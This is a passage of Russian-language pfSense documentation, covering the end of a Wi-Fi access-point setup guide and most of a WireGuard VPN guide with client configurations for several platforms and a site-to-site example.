| Atheros AR9485 | ath(4) | Да | 2.4 ГГц | Распространён в ноутбуках |
| QCA9565 | ath(4) | Да | 2.4 ГГц | Бюджетный вариант |
| Ralink RT2860 | run(4) | Ограничено | 2.4 ГГц | Не все функции AP доступны |

### Неподдерживаемые и проблемные чипсеты

Адаптеры на базе Intel Wi-Fi (iwlwifi/iwm), Broadcom (bwn), Realtek (rtwn) и Mediatek не поддерживают режим точки доступа в FreeBSD или имеют серьёзные ограничения. Адаптеры с интерфейсом USB работают менее стабильно по сравнению с PCIe/mini-PCIe вариантами.

Перед приобретением адаптера необходимо проверить его совместимость в документации FreeBSD по беспроводным драйверам. Чипсет на базе Atheros AR92xx/AR93xx с интерфейсом mini-PCIe является оптимальным выбором для pfSense.

## Создание беспроводного интерфейса

### Проверка распознавания адаптера

После установки беспроводного адаптера необходимо убедиться, что pfSense распознал устройство. Перейдите в **Interfaces > Assignments** и проверьте наличие беспроводного интерфейса в списке доступных сетевых портов. Беспроводные адаптеры отображаются с суффиксом `wlan` - например, `ath0` (физический адаптер) и `ath0_wlan0` (беспроводной интерфейс).

Если адаптер не отображается в списке, проверьте физическое подключение и совместимость чипсета. Информацию об обнаруженных устройствах можно получить через **Diagnostics > Command Prompt**, выполнив команду:

```
sysctl net.wlan.devices
```

Команда отобразит список беспроводных устройств, распознанных ядром системы.

### Назначение интерфейса

1. Перейдите в **Interfaces > Assignments**
2. В выпадающем списке **Available network ports** выберите беспроводной адаптер
3. Нажмите **Add** для создания нового интерфейса (например, OPT1)
4. pfSense автоматически создаст интерфейс `wlan0` поверх физического адаптера

### Настройка параметров интерфейса

Перейдите на страницу настройки назначенного интерфейса (**Interfaces > OPTn**) и заполните следующие параметры.

**Общие параметры:**

- **Enable** - установите флажок для активации интерфейса
- **Description** - введите понятное имя, например `WIFI_CORP` или `WIRELESS`
- **IPv4 Configuration Type** - выберите `Static IPv4`
- **IPv4 Address** - задайте IP-адрес для беспроводного интерфейса (например, 192.168.100.1/24)

**Параметры беспроводной сети (Common Wireless Configuration):**

- **Standard** - выберите стандарт Wi-Fi: `802.11ng` для 2.4 ГГц или `802.11na` для 5 ГГц
- **Mode** - выберите `Access Point` для создания точки доступа
- **SSID** - введите имя беспроводной сети
- **Channel** - выберите канал вещания (Auto или конкретный канал, свободный от помех)
- **Channel Width** - ширина канала: `20 MHz` для стабильности или `40 MHz (HT40)` для пропускной способности

## Режимы работы беспроводного интерфейса

pfSense поддерживает несколько режимов работы беспроводного интерфейса, каждый из которых предназначен для определённого сценария.

### Access Point (hostap)

Основной режим для создания собственной беспроводной сети. pfSense выступает в роли точки доступа, к которой подключаются клиентские устройства. В этом режиме доступны все функции безопасности (WPA2/WPA3), управление каналами и мощностью передатчика.

### Infrastructure (BSS/Station)

Режим клиента беспроводной сети. pfSense подключается к существующей точке доступа как обычное клиентское устройство. Используется в сценариях, когда pfSense получает WAN-подключение через Wi-Fi - например, при отсутствии проводного подключения к интернету.

### Ad-hoc (IBSS)

Режим одноранговой сети без точки доступа. Устройства взаимодействуют напрямую друг с другом. Практическое применение ограничено и не рекомендуется для производственных сред.

## Безопасность беспроводной сети

Настройка безопасности выполняется в разделе беспроводного интерфейса на вкладке **Wireless Security** (или в секции **Authentication and Encryption** на странице интерфейса).

### WPA2 (рекомендуемый минимум)

WPA2 с шифрованием AES-CCMP является минимально допустимым уровнем безопасности для беспроводных сетей.

| Параметр | Значение |
|---|---|
| **Enable WPA** | Установить флажок |
| **WPA Mode** | WPA2 |
| **WPA Key Management Mode** | Pre-Shared Key |
| **WPA Pre-Shared Key** | Пароль длиной не менее 12 символов |
| **WPA Pairwise** | AES (CCMP) |

Не используйте TKIP - этот протокол шифрования устарел и содержит известные уязвимости. Режим смешанного шифрования (TKIP+AES) также нежелателен, так как снижает общий уровень безопасности до TKIP.

### WPA3

WPA3 обеспечивает улучшенную защиту за счёт протокола SAE (Simultaneous Authentication of Equals), который устраняет уязвимости четырёхстороннего рукопожатия WPA2. Поддержка WPA3 в pfSense зависит от версии FreeBSD и драйвера беспроводного адаптера. На момент написания полноценная поддержка WPA3 в режиме AP ограничена.

Для сетей, требующих WPA3, рекомендуется использовать внешнюю точку доступа с поддержкой WPA3 и подключить её к pfSense как проводной интерфейс или через [VLAN](/docs/pfsense/vlans/pfsense-vlan-setup/).

### 802.1X (RADIUS)

Для корпоративных беспроводных сетей pfSense поддерживает аутентификацию 802.1X через внешний RADIUS-сервер (FreeRADIUS). В этом режиме каждый пользователь или устройство аутентифицируется индивидуально, что обеспечивает гранулярный контроль доступа и возможность отзыва учётных данных без изменения общего ключа сети.

Параметры RADIUS настраиваются в секции **Authentication** беспроводного интерфейса:

- **WPA Key Management Mode** - выберите `Enterprise (802.1X/RADIUS)`
- **Authentication Server** - укажите IP-адрес RADIUS-сервера
- **Authentication Port** - порт RADIUS (по умолчанию 1812)
- **Authentication Secret** - общий секрет для взаимодействия с RADIUS

## Несколько SSID с привязкой к VLAN

pfSense позволяет создать несколько виртуальных беспроводных интерфейсов (VAP - Virtual Access Point) на одном физическом адаптере, при условии поддержки данной функции драйвером. Каждый VAP имеет собственный SSID и может быть привязан к отдельному [VLAN](/docs/pfsense/vlans/pfsense-vlan-setup/).

### Создание дополнительного беспроводного интерфейса

1. Перейдите в **Interfaces > Assignments > Wireless** (вкладка)
2. Нажмите **Add** для создания нового виртуального беспроводного интерфейса
3. Выберите родительский физический адаптер (например, `ath0`)
4. Режим - **Access Point**
5. Сохраните настройки

После создания новый виртуальный интерфейс (например, `ath0_wlan1`) появится в списке доступных портов на странице **Interfaces > Assignments**, где его необходимо назначить как отдельный интерфейс.

### Пример конфигурации с двумя SSID

| Параметр | Корпоративная сеть | Гостевая сеть |
|---|---|---|
| Интерфейс | ath0_wlan0 (OPT1) | ath0_wlan1 (OPT2) |
| SSID | CORP-WIFI | GUEST-WIFI |
| Безопасность | WPA2-Enterprise (802.1X) | WPA2-PSK |
| Подсеть | 192.168.100.0/24 | 192.168.200.0/24 |
| VLAN | 100 | 200 |
| DHCP | 192.168.100.10-254 | 192.168.200.10-254 |
| Доступ к LAN | Разрешён | Запрещён |
| Captive Portal | Нет | Да |

Для гостевой сети настройте правила файрвола, запрещающие доступ к внутренним подсетям и разрешающие только выход в интернет. Интеграция с [Captive Portal](/docs/pfsense/captive-portal/) позволяет реализовать страницу авторизации для гостей.

## Интеграция с Captive Portal

Беспроводной интерфейс pfSense может быть привязан к зоне Captive Portal для обеспечения аутентификации пользователей перед предоставлением доступа к сети. Подробная настройка Captive Portal описана в разделе [Captive Portal](/docs/pfsense/captive-portal/).

Для привязки беспроводного интерфейса к Captive Portal:

1. Перейдите в **Services > Captive Portal**
2. Создайте новую зону или выберите существующую
3. В параметрах зоны выберите беспроводной интерфейс в списке **Interfaces**
4. Настройте параметры аутентификации и страницу авторизации

## Рекомендации по производительности

Использование pfSense в качестве точки доступа Wi-Fi имеет ряд ограничений, которые необходимо учитывать при планировании.

### Ограничения встроенного Wi-Fi

- **Антенны** - встроенные или штатные антенны обеспечивают ограниченную зону покрытия по сравнению с выделенными точками доступа с внешними антеннами и технологией MIMO
- **Производительность** - обработка беспроводного трафика создаёт дополнительную нагрузку на CPU, что может снизить производительность маршрутизации и файрвола
- **Стандарты** - поддержка ограничена стандартами 802.11a/b/g/n; поддержка 802.11ac (Wi-Fi 5) и 802.11ax (Wi-Fi 6) отсутствует из-за ограничений драйверов FreeBSD
- **Масштабируемость** - количество одновременных клиентов ограничено возможностями адаптера и драйвера (обычно 10-30 устройств)

### Рекомендуемая архитектура для производственных сред

Для производственных сетей рекомендуется следующая архитектура:

1. Выделенные точки доступа (Ubiquiti UniFi, Aruba, Ruckus) обслуживают беспроводных клиентов
2. Точки доступа подключены к управляемому коммутатору через access-порты или trunk-порты (при использовании нескольких SSID/VLAN)
3. pfSense выполняет маршрутизацию между VLAN, применение [правил файрвола](/docs/pfsense/firewall/pfsense-firewall-rules/) и предоставление сетевых сервисов ([DHCP](/docs/pfsense/services/pfsense-dhcp/), DNS)

Такой подход обеспечивает максимальную производительность беспроводной сети и не перегружает pfSense обработкой радиочастотного трафика.

## Устранение неполадок

### Адаптер не распознаётся

**Симптом:** беспроводной адаптер отсутствует в списке интерфейсов.

**Решение:**
- Проверьте физическое подключение адаптера (извлеките и установите повторно)
- Выполните команду `sysctl net.wlan.devices` через **Diagnostics > Command Prompt** для проверки распознавания устройства ядром
- Убедитесь, что чипсет адаптера поддерживается FreeBSD (серия Atheros AR9xxx рекомендуется)
- Для USB-адаптеров проверьте вывод команды `usbconfig list`

### Режим точки доступа недоступен

**Симптом:** при выборе режима Access Point интерфейс не запускается или появляется ошибка.

**Решение:**
- Не все поддерживаемые адаптеры работают в режиме hostap - проверьте документацию драйвера
- Адаптеры Intel и Broadcom не поддерживают режим AP в FreeBSD
- Используйте адаптер на базе Atheros с поддержкой ath(4)

### Низкая пропускная способность

**Симптом:** скорость передачи данных значительно ниже ожидаемой.

**Решение:**
- Проверьте выбранный стандарт Wi-Fi - убедитесь, что используется 802.11n (ng или na), а не 802.11b/g
- Увеличьте ширину канала с 20 МГц до 40 МГц (HT40) при отсутствии помех
- Выберите канал с наименьшим уровнем помех (используйте анализатор Wi-Fi для определения загруженности каналов)
- Проверьте настройку мощности передатчика (Regulatory Domain и TX Power)
- Убедитесь, что шифрование использует AES, а не TKIP

### Периодические отключения клиентов

**Симптом:** клиенты периодически теряют подключение к точке доступа.

**Решение:**
- Проверьте журналы системы (**Status > System Logs > Wireless**) на наличие ошибок драйвера
- Убедитесь в стабильности питания (особенно для USB-адаптеров)
- Снизьте количество одновременных подключений
- Обновите pfSense до последней версии для получения исправлений драйверов
- Проверьте наличие помех от соседних сетей на том же канале
- При использовании нескольких VAP убедитесь, что все работают на одном канале (требование аппаратного уровня)

### Клиенты подключаются, но не получают IP-адрес

**Симптом:** устройства подключаются к SSID, но не получают IP через DHCP.

**Решение:**
- Убедитесь, что [DHCP-сервер](/docs/pfsense/services/pfsense-dhcp/) включён для беспроводного интерфейса
- Проверьте диапазон адресов DHCP-пула
- Убедитесь, что правила файрвола на беспроводном интерфейсе разрешают DHCP-трафик (порты UDP 67/68)
- Проверьте, что интерфейсу назначен IP-адрес из корректной подсети


---

# Настройка WireGuard VPN в pfSense - полное руководство

Source: https://opennix.org/docs/pfsense/vpn/wireguard/pfsense-wireguard-setup/


WireGuard - современный VPN-протокол, реализованный как модуль ядра и обеспечивающий производительность, сопоставимую с аппаратно-ускоренным IPsec, при значительно меньшей сложности конфигурации. Протокол использует фиксированный набор криптографических примитивов (Curve25519, ChaCha20, Poly1305, BLAKE2s), что исключает необходимость согласования параметров шифрования и устраняет целый класс ошибок, связанных с выбором слабых алгоритмов.

В pfSense начиная с версии 2.7 WireGuard доступен как встроенный пакет. В данном руководстве описан полный цикл настройки: от создания туннеля до подключения клиентов на различных платформах и организации site-to-site соединения между двумя площадками.

## Преимущества WireGuard

WireGuard проектировался с акцентом на простоту и производительность. Основные преимущества протокола:

- **Минимальная кодовая база** - около 4000 строк кода ядра, что существенно упрощает аудит безопасности по сравнению с IPsec (~400 000 строк) или OpenVPN (~100 000 строк).
- **Высокая производительность** - работа на уровне ядра исключает переключение контекста между пространствами пользователя и ядра, что даёт пропускную способность до 1 Гбит/с и выше на современном оборудовании.
- **Быстрое установление соединения** - обмен ключами занимает один round-trip (1-RTT), в то время как IKEv2 требует минимум два обмена.
- **Современная криптография** - фиксированный набор алгоритмов исключает downgrade-атаки и ошибки конфигурации.
- **Встроенный роуминг** - протокол автоматически обновляет endpoint при смене IP-адреса клиента, что важно для мобильных устройств.
- **Минимальная поверхность атаки** - WireGuard не отвечает на пакеты от неавторизованных источников (stealth-режим), что делает сервер невидимым для сканеров портов.

## Ограничения

Перед выбором WireGuard в качестве VPN-протокола необходимо учитывать его ограничения.

### Отсутствие аутентификации по имени пользователя и паролю

WireGuard не поддерживает аутентификацию по логину/паролю. Идентификация пиров выполняется исключительно по криптографическим ключам. Для организаций, требующих централизованного управления учётными записями через LDAP или RADIUS, это может быть существенным ограничением. В таких случаях следует рассматривать [OpenVPN с аутентификацией через RADIUS](/docs/pfsense/vpn/openvpn/pfsense-openvpn-remote-access/).

### Статическое назначение адресов

WireGuard не имеет встроенного механизма динамического назначения IP-адресов (аналога DHCP). Каждому пиру необходимо вручную назначить адрес из выделенной подсети туннеля. При большом количестве клиентов это требует ведения учёта назначенных адресов.

### Отсутствие управления сессиями

Протокол не имеет концепции сессий или соединений. Нет возможности отследить, подключён ли клиент в данный момент, за исключением проверки времени последнего handshake на странице **Status > WireGuard**. Принудительное отключение клиента возможно только путём удаления его публичного ключа из конфигурации пира.

### Ограниченное логирование

WireGuard выполняет минимальное логирование на уровне ядра. Информация о попытках подключения, ошибках аутентификации и деталях трафика ограничена. Для средств с повышенными требованиями к аудиту (PCI DSS, HIPAA) это может потребовать дополнительных мер мониторинга.

### Привязка к порту

WireGuard принимает трафик на указанном UDP-порту на всех интерфейсах файрвола, а не только на выбранном. Это необходимо учитывать при планировании правил фильтрации.

## Предварительные требования

Перед началом настройки необходимо убедиться в выполнении следующих условий:

1. **pfSense версии 2.7.0 или новее** - WireGuard доступен как встроенный пакет. Для проверки версии: **System > General Setup**.
2. **Установленный пакет WireGuard** - установка выполняется через **System > Package Manager > Available Packages**. Следует найти `WireGuard` и нажать **Install**.
3. **Статический публичный IP-адрес** или настроенный Dynamic DNS на WAN-интерфейсе pfSense (для сценария удалённого доступа).
4. **Выделенная подсеть для туннеля** - рекомендуется использовать адресацию из диапазона RFC 1918, не пересекающуюся с существующими сетями. Пример: `10.10.10.0/24`.
5. **Открытый UDP-порт** на вышестоящем оборудовании (если pfSense расположен за NAT).

## Создание туннеля

Туннель WireGuard создаётся в разделе **VPN > WireGuard > Tunnels**.

1. Нажать **Add Tunnel**.
2. Заполнить параметры туннеля:

| Поле | Значение | Пояснение |
|---|---|---|
| Enable | Установлен | Активация туннеля |
| Description | `WG-RemoteAccess` | Произвольное описание назначения туннеля |
| Listen Port | `51820` | Стандартный порт WireGuard (допустимо изменить) |
| Interface Keys | Generate | Генерация ключевой пары (приватный + публичный) |
| Interface Addresses | `10.10.10.1/24` | Адрес pfSense внутри туннеля |

3. Нажать **Save Tunnel**.

![Настройка туннеля WireGuard](/img/pfsense/pfsense-wireguard-tunnel-edit.webp)
<p style="text-align: center;">Рис. 1. Создание туннеля WireGuard в веб-интерфейсе pfSense</p>

После сохранения система автоматически сгенерирует ключевую пару. Публичный ключ (Public Key) отобразится на странице туннеля - его необходимо скопировать для последующей передачи клиентам.

> **Внимание**:
>
> Приватный ключ (Private Key) никогда не должен передаваться третьим лицам. Компрометация приватного ключа требует немедленной перегенерации ключевой пары и перенастройки всех пиров.

### Выбор порта

Стандартный порт WireGuard - `51820/UDP`. При необходимости использования нескольких туннелей каждому следует назначить уникальный порт. Если WireGuard должен работать из сетей с жёсткими ограничениями исходящего трафика, допустимо использовать порт `443/UDP`, однако это может конфликтовать с HTTPS-трафиком при наличии HAProxy или подобных сервисов.

### Адресация туннеля

Для адресации внутри туннеля рекомендуется выделить отдельную подсеть, не пересекающуюся с другими сетями:

| Сценарий | Рекомендуемая подсеть | Маска |
|---|---|---|
| Удалённый доступ (до 254 клиентов) | `10.10.10.0` | `/24` |
| Site-to-site (два узла) | `10.10.10.0` | `/30` |
| Несколько туннелей | `10.10.10.0`, `10.10.20.0`, ... | `/24` |

## Добавление пиров

Пиры добавляются в разделе **VPN > WireGuard > Peers**. Каждый клиент или удалённый узел является отдельным пиром.

1. Нажать **Add Peer**.
2. Заполнить параметры:

| Поле | Значение | Пояснение |
|---|---|---|
| Enable | Установлен | Активация пира |
| Tunnel | `WG-RemoteAccess` | Выбор ранее созданного туннеля |
| Description | `Laptop-Admin` | Описание клиента |
| Dynamic Endpoint | Установлен | Для клиентов с динамическим IP (remote access) |
| Public Key | (ключ клиента) | Публичный ключ, сгенерированный на стороне клиента |
| Pre-Shared Key | (опционально) | Дополнительный уровень защиты (пост-квантовая безопасность) |
| Allowed IPs | `10.10.10.2/32` | Адрес клиента внутри туннеля |
| Keep Alive | `25` | Интервал keepalive в секундах (для клиентов за NAT) |

3. Нажать **Save Peer**.

![Настройка пира WireGuard](/img/pfsense/pfsense-wireguard-peer-edit.webp)
<p style="text-align: center;">Рис. 2. Добавление пира WireGuard в pfSense</p>

### Обмен ключами

Обмен публичными ключами между сервером и клиентом выполняется вручную по защищённому каналу:

1. Сервер (pfSense) генерирует ключевую пару при создании туннеля. Публичный ключ сервера передаётся клиенту.
2. Клиент генерирует собственную ключевую пару (средствами клиентского приложения WireGuard). Публичный ключ клиента вводится в поле **Public Key** при добавлении пира на pfSense.

> **Внимание**:
>
> Передача публичных ключей должна осуществляться по защищённому каналу: лично, через зашифрованный мессенджер или корпоративную систему управления секретами. Публичные ключи сами по себе не являются секретом, но их подмена (MITM) позволит атакующему выдать себя за легитимный узел.

### Поле Allowed IPs

Поле **Allowed IPs** определяет, какие IP-адреса допускаются от данного пира и на какие адреса маршрутизируется трафик через туннель. Корректная настройка этого поля критически важна:

| Сценарий | Значение Allowed IPs | Описание |
|---|---|---|
| Удалённый доступ (один клиент) | `10.10.10.2/32` | Только адрес клиента в туннеле |
| Site-to-site | `10.10.10.2/32, 192.168.2.0/24` | Адрес пира + удалённая подсеть |
| Full tunnel (весь трафик через VPN) | `0.0.0.0/0` | Весь IPv4-трафик клиента |
| Full tunnel (IPv4 + IPv6) | `0.0.0.0/0, ::/0` | Весь трафик клиента |

### Pre-Shared Key (PSK)

Использование PSK добавляет симметричный уровень шифрования поверх Curve25519. Это обеспечивает дополнительную защиту в случае компрометации асимметричного алгоритма (пост-квантовая стойкость). PSK генерируется командой:

```bash
wg genpsk
```

Сгенерированный ключ вводится в поле **Pre-Shared Key** как на стороне pfSense (в настройках пира), так и в конфигурации клиента.

## Назначение интерфейса

После создания туннеля необходимо назначить ему интерфейс в pfSense. Без назначения интерфейса невозможно создать специфичные правила файрвола для трафика внутри туннеля.

1. Перейти в **Interfaces > Assignments**.
2. В выпадающем списке **Available network ports** выбрать интерфейс `tun_wgN` (где N - номер туннеля).
3. Нажать **Add**.
4. Нажать на имя назначенного интерфейса (например, **OPT1**) для перехода к его настройке.
5. Заполнить параметры:

| Поле | Значение | Пояснение |
|---|---|---|
| Enable | Установлен | Активация интерфейса |
| Description | `WIREGUARD` | Имя интерфейса (будет отображаться в правилах файрвола) |
| IPv4 Configuration Type | None | Адресация уже настроена на уровне туннеля |
| IPv6 Configuration Type | None | Если IPv6 не используется |

6. Нажать **Save**, затем **Apply Changes**.

> **Внимание**:
>
> Параметр **IPv4 Configuration Type** следует оставить в значении **None**, поскольку IP-адрес уже назначен на уровне туннеля WireGuard. Назначение адреса одновременно на уровне интерфейса и туннеля может привести к конфликтам маршрутизации.

## Правила файрвола

Для корректной работы WireGuard необходимо создать два набора правил: на интерфейсе WAN (для приёма входящих подключений) и на интерфейсе WireGuard (для контроля трафика внутри туннеля).

### Правило на WAN

Разрешает входящие UDP-подключения на порт WireGuard.

Перейти в **Firewall > Rules > WAN** и нажать **Add**.

| Поле | Значение |
|---|---|
| Action | Pass |
| Interface | WAN |
| Address Family | IPv4 |
| Protocol | UDP |
| Source | Any |
| Destination | WAN Address |
| Destination Port Range | `51820` (или выбранный порт туннеля) |
| Description | `Allow WireGuard VPN` |

### Правила на интерфейсе WireGuard

Контролируют, какой трафик разрешён клиентам VPN внутри туннеля.

Перейти в **Firewall > Rules > WIREGUARD** (имя назначенного интерфейса) и нажать **Add**.

**Вариант 1 - разрешить весь трафик** (для тестирования):

| Поле | Значение |
|---|---|
| Action | Pass |
| Interface | WIREGUARD |
| Address Family | IPv4 |
| Protocol | Any |
| Source | WIREGUARD net |
| Destination | Any |
| Description | `Allow all WireGuard traffic` |

**Вариант 2 - разрешить только доступ к LAN** (рекомендуется для производственной среды):

| Поле | Значение |
|---|---|
| Action | Pass |
| Interface | WIREGUARD |
| Address Family | IPv4 |
| Protocol | Any |
| Source | WIREGUARD net |
| Destination | LAN net |
| Description | `Allow WireGuard to LAN` |

Дополнительно можно добавить правило, разрешающее доступ к DNS-серверу pfSense:

| Поле | Значение |
|---|---|
| Action | Pass |
| Interface | WIREGUARD |
| Protocol | TCP/UDP |
| Source | WIREGUARD net |
| Destination | WIREGUARD Address |
| Destination Port Range | `53` |
| Description | `Allow DNS from WireGuard` |

Подробнее о настройке правил фильтрации: [Правила файрвола в pfSense](/docs/pfsense/firewall/pfsense-firewall-rules/).

## Маршрутизация

### Стандартная маршрутизация (split tunnel)

По умолчанию WireGuard в режиме split tunnel маршрутизирует через VPN только трафик к подсетям, указанным в **Allowed IPs** на стороне клиента. Весь остальной трафик клиента идёт через его обычное интернет-соединение.

Для корректной маршрутизации между подсетями туннеля и локальными сетями pfSense дополнительных маршрутов обычно не требуется, поскольку pfSense автоматически добавляет маршруты на основании адресации интерфейса.

### Full tunnel (весь трафик через VPN)

Для направления всего трафика клиента через VPN необходимо:

1. **На стороне клиента**: в конфигурации WireGuard установить `AllowedIPs = 0.0.0.0/0, ::/0`.
2. **На pfSense**: убедиться, что правила файрвола на интерфейсе WireGuard разрешают трафик в Интернет (Destination: Any).
3. **NAT**: настроить Outbound NAT для подсети WireGuard. Перейти в **Firewall > NAT > Outbound**, переключиться в режим **Hybrid** или **Manual** и добавить правило:

| Поле | Значение |
|---|---|
| Interface | WAN |
| Address Family | IPv4 |
| Protocol | Any |
| Source | `10.10.10.0/24` (подсеть туннеля) |
| Destination | Any |
| Translation Address | WAN Address |

### Статические маршруты

При организации site-to-site туннеля может потребоваться добавление статических маршрутов, если pfSense не является шлюзом по умолчанию для подсети за WireGuard.

Перейти в **System > Routing > Static Routes** и добавить маршрут:

| Поле | Значение |
|---|---|
| Destination network | `192.168.2.0/24` (удалённая подсеть) |
| Gateway | Шлюз WireGuard интерфейса |

> **Внимание**:
>
> При настройке маршрутизации через WireGuard необходимо убедиться, что значение **Default gateway** в разделе **System > Routing** не установлено в **Automatic**. В противном случае pfSense может назначить WireGuard-интерфейс шлюзом по умолчанию, что приведёт к потере доступа к Интернету.

## Подключение клиентов

Для подключения к WireGuard-серверу на pfSense клиенту необходимы:

- Публичный ключ сервера (pfSense)
- Публичный IP-адрес или доменное имя сервера
- Порт WireGuard на сервере
- Назначенный IP-адрес клиента внутри туннеля
- Pre-Shared Key (если используется)

### Генерация конфигурации клиента

Конфигурация клиента WireGuard имеет унифицированный формат для всех платформ:

```ini
[Interface]
PrivateKey = <private_key_client>
Address = 10.10.10.2/32
DNS = 10.10.10.1

[Peer]
PublicKey = <public_key_pfsense>
PresharedKey = <psk_if_used>
AllowedIPs = 10.10.10.0/24, 192.168.1.0/24
Endpoint = vpn.example.com:51820
PersistentKeepalive = 25
```

Параметры конфигурации:

| Параметр | Описание |
|---|---|
| `PrivateKey` | Приватный ключ клиента (сгенерированный на клиенте) |
| `Address` | IP-адрес клиента в туннеле (должен совпадать с Allowed IPs на сервере) |
| `DNS` | DNS-сервер для использования при активном туннеле |
| `PublicKey` | Публичный ключ сервера (pfSense) |
| `PresharedKey` | Pre-Shared Key (опционально) |
| `AllowedIPs` | Подсети, маршрутизируемые через туннель |
| `Endpoint` | Адрес и порт сервера WireGuard |
| `PersistentKeepalive` | Интервал keepalive в секундах (обязателен за NAT) |

### Windows

1. Загрузить клиент WireGuard с официального сайта: [wireguard.com/install](https://www.wireguard.com/install/).
2. Установить приложение.
3. Нажать **Add Tunnel > Add empty tunnel** или **Import tunnel(s) from file**.
4. При ручном создании - вставить конфигурацию в текстовое поле. Приватный ключ генерируется автоматически при создании пустого туннеля.
5. Нажать **Save**, затем **Activate**.

При создании пустого туннеля приложение автоматически сгенерирует ключевую пару и отобразит публичный ключ - его необходимо скопировать и добавить в настройки пира на pfSense.

### macOS

1. Установить WireGuard из Mac App Store или через Homebrew:

```bash
brew install wireguard-tools
```

2. **Графический клиент (App Store)**: импортировать конфигурационный файл `.conf` или создать туннель вручную через интерфейс приложения.

3. **Командная строка**: создать конфигурационный файл и активировать туннель:

```bash
# Generate key pair
wg genkey | tee privatekey | wg pubkey > publickey

# Create configuration
sudo mkdir -p /etc/wireguard
sudo nano /etc/wireguard/wg0.conf

# Activate tunnel
sudo wg-quick up wg0

# Check status
sudo wg show
```

### Linux

1. Установить WireGuard:

```bash
# Debian / Ubuntu
sudo apt install wireguard

# CentOS / RHEL 8+
sudo dnf install wireguard-tools

# Fedora
sudo dnf install wireguard-tools
```

2. Сгенерировать ключевую пару:

```bash
wg genkey | tee /etc/wireguard/privatekey | wg pubkey > /etc/wireguard/publickey
chmod 600 /etc/wireguard/privatekey
```

3. Создать конфигурационный файл `/etc/wireguard/wg0.conf`:

```ini
[Interface]
PrivateKey = <content_of_privatekey>
Address = 10.10.10.2/32
DNS = 10.10.10.1

[Peer]
PublicKey = <public_key_pfsense>
PresharedKey = <psk_if_used>
AllowedIPs = 10.10.10.0/24, 192.168.1.0/24
Endpoint = vpn.example.com:51820
PersistentKeepalive = 25
```

4. Управление туннелем:

```bash
# Activate
sudo wg-quick up wg0

# Deactivate
sudo wg-quick down wg0

# Enable autostart
sudo systemctl enable wg-quick@wg0

# Check status
sudo wg show
```

### iOS

1. Установить приложение WireGuard из App Store.
2. Нажать **+** и выбрать один из вариантов:
   - **Create from QR code** - отсканировать QR-код с конфигурацией (предпочтительный способ).
   - **Create from file or archive** - импортировать файл `.conf`.
   - **Create from scratch** - ввести параметры вручную.
3. Активировать туннель переключателем.

### Android

1. Установить приложение WireGuard из Google Play.
2. Нажать **+** и выбрать:
   - **Scan from QR code** - отсканировать QR-код.
   - **Import from file or archive** - импортировать файл `.conf`.
   - **Create from scratch** - ручной ввод параметров.
3. Активировать туннель.

### Генерация QR-кода

Для мобильных клиентов удобнее всего использовать QR-код. Генерация выполняется на Linux или macOS:

```bash
# Install qrencode
sudo apt install qrencode    # Debian/Ubuntu
brew install qrencode         # macOS

# Generate QR code from configuration file
qrencode -t ansiutf8 < /path/to/client.conf

# Save QR code as PNG
qrencode -t png -o client-qr.png < /path/to/client.conf
```

> **Внимание**:
>
> QR-код содержит приватный ключ клиента. После сканирования кода клиентом файл PNG следует удалить. Не следует передавать QR-код через незащищённые каналы (email, мессенджеры без end-to-end шифрования).

## Site-to-Site

WireGuard позволяет организовать туннель между двумя площадками с pfSense для объединения удалённых сетей. В отличие от IPsec, настройка site-to-site на WireGuard значительно проще и не требует согласования множества криптографических параметров.

### Схема сети

```
Площадка A                          Площадка B
┌─────────────────┐                ┌─────────────────┐
│ LAN: 10.1.0.0/24│                │ LAN: 10.2.0.0/24│
│ WG:  10.10.10.1 │────WireGuard───│ WG:  10.10.10.2 │
│ WAN: 203.0.113.1│                │ WAN: 198.51.100.1│
└─────────────────┘                └─────────────────┘
```

### Настройка площадки A

1. **Создать туннель** (**VPN > WireGuard > Tunnels**):
   - Listen Port: `51820`
   - Interface Address: `10.10.10.1/30`
   - Сгенерировать ключевую пару.

2. **Добавить пир** (**VPN > WireGuard > Peers**):

| Поле | Значение |
|---|---|
| Tunnel | Туннель площадки A |
| Public Key | Публичный ключ площадки B |
| Endpoint | `198.51.100.1` |
| Endpoint Port | `51820` |
| Allowed IPs | `10.10.10.2/32, 10.2.0.0/24` |
| Keep Alive | `25` |

3. **Назначить интерфейс** и создать правила файрвола (аналогично описанному выше).

### Настройка площадки B

Конфигурация площадки B зеркальна:

1. **Туннель**: Listen Port `51820`, Interface Address `10.10.10.2/30`.
2. **Пир**: Public Key площадки A, Endpoint `203.0.113.1:51820`, Allowed IPs `10.10.10.1/32, 10.1.0.0/24`.
3. **Интерфейс и файрвол**: аналогичны площадке A.

### Маршрутизация между площадками

На каждой площадке необходимо добавить статический маршрут к удалённой подсети:

**Площадка A** (**System > Routing > Static Routes**):

| Поле | Значение |
|---|---|
| Destination | `10.2.0.0/24` |
| Gateway | Шлюз WireGuard |

**Площадка B**:

| Поле | Значение |
|---|---|
| Destination | `10.1.0.0/24` |
| Gateway | Шлюз WireGuard |

Если pfSense является шлюзом по умолчанию для всех устройств в LAN, маршруты на клиентских устройствах добавлять не требуется. В противном случае на устройствах в LAN необходимо добавить маршрут к удалённой подсети через pfSense.

### Проверка связности

```bash
# With the site A check the connectivity with site B LAN
ping 10.2.0.1

# Check the WireGuard tunnel status
# On pfSense: Status > WireGuard
# Check latest handshake timestamp and transferred data
```

## Сравнение с IPsec и OpenVPN

При выборе VPN-протокола для pfSense следует учитывать характеристики каждого из них.

| Характеристика | WireGuard | IPsec (IKEv2) | OpenVPN |
|---|---|---|---|
| Работа на уровне | Ядро | Ядро | Пространство пользователя |
| Производительность | Высокая (1+ Гбит/с) | Высокая (с AES-NI) | Средняя (300-500 Мбит/с) |
| Время установления | 1-RTT (~100 мс) | 4 сообщения IKEv2 | TLS handshake (~500 мс) |
| Кодовая база | ~4 000 строк | ~400 000 строк | ~100 000 строк |
| Аутентификация | Ключи | PSK / Сертификаты / EAP | Сертификаты / LDAP / RADIUS |
| Динамические IP клиентов | Нет | Да (Mode Config) | Да (встроенный DHCP) |
| NAT traversal | Встроенный | NAT-T (UDP 4500) | TCP 443 (обход ограничений) |
| Логирование | Минимальное | Подробное | Подробное |
| Совместимость | Linux, Windows, macOS, iOS, Android | Все платформы, сетевое оборудование | Все платформы |
| Управление сессиями | Нет | Да | Да |
| Поддержка в pfSense | Пакет (с 2.7) | Встроенная | Встроенная |

### Когда выбрать WireGuard

- Требуется максимальная производительность при минимальном overhead.
- Небольшое количество клиентов (до 50) с возможностью ручного управления ключами.
- Не требуется аутентификация по логину/паролю или интеграция с LDAP/RADIUS.
- Важна простота настройки и аудируемость конфигурации.

### Когда выбрать IPsec

